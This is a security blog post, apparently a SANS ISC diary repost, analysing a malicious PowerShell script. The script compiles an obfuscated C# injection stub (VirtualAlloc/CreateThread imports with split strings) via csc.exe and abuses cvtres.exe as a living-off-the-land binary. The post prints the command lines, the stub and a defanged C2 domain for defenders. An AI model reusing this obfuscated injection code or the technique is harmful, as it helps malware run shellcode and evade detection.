[SANS ISC] New Tool to Add to Your LOLBAS List: cvtres.exe , (Fri, Oct 1st)

LOLBAS (“Living Off the Land Binaries And Scripts”) is a list of tools[1] that are present on any Windows system because they are provided by Microsoft as useful tools to perform system maintenance, updates, etc. This list is maintained and upgraded regularly. This is a good starting point when you need to investigate suspicious processes activity on a system (proactively or in forensics investigation).

I spotted a piece of malicious script (SHA256:d3a85fbecfc581e1113de2ec8c97e8e15f0c06e9a0f8628269221669f5ca9726) with a VT score of 10/57[2]. It launches a PowerShell script nicely obfuscated. The behavior is classic, it performs code injection but it also compiles some code on the fly. csc.exe is used to build a DLL:

csc.exe /noconfig /fullpaths @”C:Usersuser01AppDataLocalTemp8dfrgm9n.cmdline”

The .cmdline file contains:

xfeff/t:library /utf8output /R:”System.dll” /R:”C:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e35System.Management.Automation.dll” /out:”C:Usersuser01AppDataLocalTemp8dfrgm9n.dll” /debug- /optimize+ “C:Usersuser01AppDataLocalTemp8dfrgm9n.0.cs”

And the .cs file:

xfeff using System; using System.Runtime.InteropServices; namespace pikl { public class jip { [Flags] public enum AllocationType { Commit = 14096-10000, Reserve = 8190+2 } [Flags] public enum MemoryProtection { ExecuteReadWrite = 60+4 } [Flags] public enum Time : uint { Infinite = 4294967294+1 } [DllImport(“ker”+”nel”+”32.d”+”ll”)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport(“ke”+”rnel3″+”2.dl”+”l”)] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport(“k”+”ern”+”el32.dl”+”l”)] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); } }

Then the script calls another tool from the .Net framework: cvtres.exe:

cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 “/OUT:C:Usersuser01AppDataLocalTempRES4D10.tmp” “c:Usersuser01AppDataLocalTempCSC4D00.tmp”

What’s the purpose of this tool? CvtRes stands for “Convert Resource Files To COFF Objects”. It converts “.res” resource files into Common Object File Format (COFF[3]) “.obj” object files that the linker can link into a finished “.exe” PE application file.

The malware tries to connect to certificates[.]updatecenter[.]icu but it does not resolve at this time.

So, cvtres.exe is a new tool to add to your LOLBAS list!

[1] https://lolbas-project.github.io
[2] https://www.virustotal.com/gui/file/d3a85fbecfc581e1113de2ec8c97e8e15f0c06e9a0f8628269221669f5ca9726/details
[3] https://en.wikipedia.org/wiki/COFF

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Source: Read More (SANS Internet Storm Center, InfoCON: green)

You might be interested in …

[ThreatPost] Feds Told to Better Manage Facial Recognition, Amid Privacy Concerns

All posts, ThreatPost

A GAO report finds government agencies are using the technology regularly in criminal investigations and to identify travelers, but need stricter management to protect people’s privacy and avoid inaccurate identification Source: Read More (Threatpost)

Read More

[SecurityWeek] Critical Vulnerability Can Be Exploited to Hack Schneider Electric’s Modicon PLCs

All posts, Security Week

A vulnerability affecting some of Schneider Electric’s Modicon programmable logic controllers (PLCs) can be exploited to bypass authentication mechanisms, allowing attackers to take complete control of the targeted device. read more Source: Read More (SecurityWeek RSS Feed)

Read More

[ThreatPost] WP Statistics Bug Allows Attackers to Lift Data from WordPress Sites

All posts, ThreatPost

The plugin, installed on hundreds of thousands of sites, allows anyone to filch database info without having to be logged in. Source: Read More (Threatpost)

Read More

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.